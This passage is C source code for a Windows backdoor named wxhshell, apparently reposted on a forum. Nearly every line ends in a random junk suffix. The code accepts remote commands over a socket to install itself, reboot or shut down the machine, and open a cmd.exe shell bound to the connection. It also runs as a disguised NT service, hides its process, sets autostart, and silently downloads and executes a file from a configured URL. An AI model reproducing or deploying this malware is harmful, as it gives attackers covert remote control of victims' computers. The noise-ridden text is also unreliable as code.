      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z46~@y%k  
    break; =-n}[Y}A  
  } Y.rsR 6  
  // 安装 WW~sNC\3`(  
  case 'i': { \Uq(Zga4)  
    if(Install()) I1M%J@Cz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]GkfEh7/J  
    else Iit; F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ENs&RZ;  
    break; 4>e&f&y~  
    } qu{&xjTH8  
  // 卸载 y766; X:J  
  case 'r': { +a{1)nCXe  
    if(Uninstall()) h MD|#A-<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <R=Zs[9M1  
    else M%P:n/j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g*C7 '  
    break; JU&c.p /  
    } vV-`jsq20H  
  // 显示 wxhshell 所在路径 Btn]}8K  
  case 'p': { kUrkG80q|  
    char svExeFile[MAX_PATH]; sS'm!7*(3  
    strcpy(svExeFile,"\n\r"); /"Uqa,{  
      strcat(svExeFile,ExeFile); R(G7m@@{  
        send(wsh,svExeFile,strlen(svExeFile),0); ],Do6 @M-  
    break; ^o&. fQ*  
    } G3Aes TT|  
  // 重启 u <v7;dF|s  
  case 'b': { M&9+6e'-F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ne1$ee. NE  
    if(Boot(REBOOT)) \xw5JGm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F0Yd@Lk$_  
    else { 5D//*}b,  
    closesocket(wsh); "'?>fe\qG  
    ExitThread(0); >e5 qv(y]  
    } wgGl[_)  
    break; d)Y}>@:W  
    } 7a<DKB  
  // 关机 4zFW-yy  
  case 'd': { e^1Twz3z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dhK~O.~m  
    if(Boot(SHUTDOWN)) suDQ~\ n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )irEM  
    else { 88wa7i*  
    closesocket(wsh); 3eQ&F~S  
    ExitThread(0); q9s=~d7  
    } hZt!/?dc  
    break; +A?U{q  
    } :& ."ttf=  
  // 获取shell or}[h09qA  
  case 's': { qF;|bF  
    CmdShell(wsh); FXkM#}RgNm  
    closesocket(wsh); *VxgARIL  
    ExitThread(0); ][Rh28?I{  
    break; WCixKYq  
  } -m~#Bq  
  // 退出 ; kI134i=  
  case 'x': { 0oIe> r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {&1/V  
    CloseIt(wsh); [S!/E4>['  
    break; \(2sW^fY  
    } Q>Yjy!. <^  
  // 离开 40m-ch6Q  
  case 'q': { dDLeSz$b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v mk2{f,g  
    closesocket(wsh); Vs!Nmv`  
    WSACleanup(); 9~[Y-cpoi  
    exit(1); 7WZ+T"O{I  
    break; ER.}CM6{[  
        } O3kA;[f;  
  } YT(AUS5n  
  } `3&v6  
DEZve Qr=  
  // 提示信息 -e:`|(Mo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $yNS pNmT0  
}  Mb~F%_  
  } z-)O9PV  
l!u_"I8j5  
  return; mc\"yC ^s  
} ^k9I(f^c-_  
Uz]|N6`  
// shell模块句柄 =B@2#W#  
int CmdShell(SOCKET sock) T9   
{ R8'RA%O9J  
STARTUPINFO si; $qj2w"'  
ZeroMemory(&si,sizeof(si)); t1x1,SL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E r?&Y,o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1iF1GkLEq  
PROCESS_INFORMATION ProcessInfo; TOQP'/   
char cmdline[]="cmd"; /mzlH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <wD-qTW  
  return 0; "=MeM)K  
} 0<@@?G  
t"oeQ*d%  
// 自身启动模式 _X x/(.O  
int StartFromService(void) `VguQl_,gA  
{ `e}B2;$A3  
typedef struct ' S/gmn  
{ pTLCWbF?  
  DWORD ExitStatus; GnJt0{  
  DWORD PebBaseAddress; |P?*5xPB  
  DWORD AffinityMask; 6(-N FnT  
  DWORD BasePriority; 63IM]J  
  ULONG UniqueProcessId; Cq~dp/V  
  ULONG InheritedFromUniqueProcessId; ] Zh%DQ  
}   PROCESS_BASIC_INFORMATION; .HABNPNg(  
Uw<nxD/+  
PROCNTQSIP NtQueryInformationProcess; A|{(/G2*  
]3Sp W{=^(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KHvYUTY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; & wDs6xq  
NC6&x=!3  
  HANDLE             hProcess; PLBr P  
  PROCESS_BASIC_INFORMATION pbi; (X*^dO  
kb!%-k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'PW5ux@`<  
  if(NULL == hInst ) return 0; ysnx3(+|  
*MW\^PR?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5'u<iSmBo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P?P#RhvA1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;L ^o*`  
^E>3|du]O  
  if (!NtQueryInformationProcess) return 0; 2=!RQv~%  
$U-0)4yf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6[AL|d DK  
  if(!hProcess) return 0; 4 s9LB  
jT;;/Fd3/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N!tX<u~2  
.O<obq~;C  
  CloseHandle(hProcess); '8kP.l  
p0eX{xm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B^ }yo65I  
if(hProcess==NULL) return 0; <(#ej4ar,  
XW92gI<O  
HMODULE hMod; @BMx!r5kn  
char procName[255]; ?:eV%`7  
unsigned long cbNeeded; HTTC TR  
{?7Uj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :\_ 5oVb  
Zx>=tx}  
  CloseHandle(hProcess); Q22 GIr  
Y8t8!{ytg  
if(strstr(procName,"services")) return 1; // 以服务启动 ` 5>b:3  
*|HY>U.  
  return 0; // 注册表启动 n~Lt\K:  
} E=O\0!F|b  
~pky@O#b  
// 主模块 3=V &K-  
int StartWxhshell(LPSTR lpCmdLine) ql~J8G9  
{ b%c9oR's^  
  SOCKET wsl; `\ol,B_l  
BOOL val=TRUE; %\:Wi#w>  
  int port=0; b| (: [nB  
  struct sockaddr_in door; `">=  
9;If&uM  
  if(wscfg.ws_autoins) Install(); w&.a QGR#  
Rf% a'b  
port=atoi(lpCmdLine); + >!;i6|  
xD=csJ'(  
if(port<=0) port=wscfg.ws_port; wb ;xRP"w  
\z)%$#I  
  WSADATA data; K:WDl;8 (d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MnHNjsO#  
]/{)bpu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ksm~<;td  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `EQL" =)  
  door.sin_family = AF_INET; $<OD31T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TkF[x%o  
  door.sin_port = htons(port); z0 Z%m@  
V]?R>qhgu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .jK4?}]  
closesocket(wsl); lk=<A"^S  
return 1; NX&_p!_V  
} Ni7nq8B<  
\}G^\p6?M  
  if(listen(wsl,2) == INVALID_SOCKET) { c[s4EUG  
closesocket(wsl); GKeU%x  
return 1; *OQ2ucC8j  
} og>uj>H&  
  Wxhshell(wsl); %]7d`/  
  WSACleanup(); &,)&%Sg[  
7x8  yxE  
return 0; 3r1*m  +  
UL9n-M =  
} .ccp  
T6kdS]4-  
// 以NT服务方式启动 N)Z?Z+ }h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >5 BJ3Hf  
{ BLJj(-  
DWORD   status = 0; t3^&; &[  
  DWORD   specificError = 0xfffffff; >5SSQ\2~a  
%N_%JK\{@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x$(f7?s] 1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BD7N i^qI$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Dum9lj  
  serviceStatus.dwWin32ExitCode     = 0; [1H^3g '  
  serviceStatus.dwServiceSpecificExitCode = 0; ]J]h#ZHx  
  serviceStatus.dwCheckPoint       = 0; v(%*b,^  
  serviceStatus.dwWaitHint       = 0; !Xw5<J3L-  
rQ snhv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f|oh.z_R  
  if (hServiceStatusHandle==0) return; AkiDL=;w  
YZJyk:H\  
status = GetLastError(); 2I{"XB  
  if (status!=NO_ERROR) 0C ,`h `  
{ o[D9I hs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @9|hMo  
    serviceStatus.dwCheckPoint       = 0; 5Jnlz@P9  
    serviceStatus.dwWaitHint       = 0; f6"Z'{j  
    serviceStatus.dwWin32ExitCode     = status; % %UE+u @J  
    serviceStatus.dwServiceSpecificExitCode = specificError; B#1;r-^P<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fv`,3aNB  
    return; ""~ajy  
  } `5Zz5V  
C+&l< fM&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B4 }bVjs  
  serviceStatus.dwCheckPoint       = 0; ~4cC/"q$X  
  serviceStatus.dwWaitHint       = 0; '@P^0+B!(.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yc*; /T}  
} )@bQu~Y  
;i+#fQO7Q  
// 处理NT服务事件,比如:启动、停止 |#N&akC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Dv`c<+q(#  
{ x ]ot 2  
switch(fdwControl) X)3!_  
{ y4fdq7i~}9  
case SERVICE_CONTROL_STOP: "g8M0[7e3  
  serviceStatus.dwWin32ExitCode = 0; b>JDH1)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q&bM\;Ml  
  serviceStatus.dwCheckPoint   = 0; H} g{Cr"Ex  
  serviceStatus.dwWaitHint     = 0; -A!%*9Z  
  { [j'X;tVX{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FaJ&GOM,  
  } .#pU=v#/[  
  return; iOO)Q\  
case SERVICE_CONTROL_PAUSE: jo@J}`\Zt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N ZSSg2TX#  
  break; Mf``_=K  
case SERVICE_CONTROL_CONTINUE: _:27]K:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h9W^[6  
  break; o{[YA} xc  
case SERVICE_CONTROL_INTERROGATE: lHX72s|V  
  break; W5MTD]J   
}; 6!FQzFCZq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pyvSwD5t  
} S{m% H{A!  
D}/vLw:v  
// 标准应用程序主函数 -3Vx76Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wD)XjX  
{ #;nYg?d=  
^gnZ+`3  
// 获取操作系统版本 n ?Nt6U  
OsIsNt=GetOsVer(); [ibu/ W$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); | %Vh`HT  
d>C$+v>  
  // 从命令行安装 g}',(tPMZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); D}X\Ca"h  
z' >_Mc6  
  // 下载执行文件 lU8`F(Mn  
if(wscfg.ws_downexe) { E~oOKQ5W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {{p7 3 'u  
  WinExec(wscfg.ws_filenam,SW_HIDE); )Z9>$V$j  
} Jze:[MYS  
)I.$=s  
if(!OsIsNt) { oM`0y@QCf  
// 如果时win9x,隐藏进程并且设置为注册表启动 "a U aotx  
HideProc(); c\ lkD-\  
StartWxhshell(lpCmdLine); WI-1)1t  
} yaH Zt`Y  
else jtc]>]6i  
  if(StartFromService()) AkQ ~k0i}b  
  // 以服务方式启动 pcWPH.  
  StartServiceCtrlDispatcher(DispatchTable); H~1 jY4E  
else wDe& 1(T^  
  // 普通方式启动 E09 :E  
  StartWxhshell(lpCmdLine); ut7zVp<"  
7%eK37@u  
return 0; V[Ui/M!9Z  
}
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只看该作者 1 发表于: 2006-10-10
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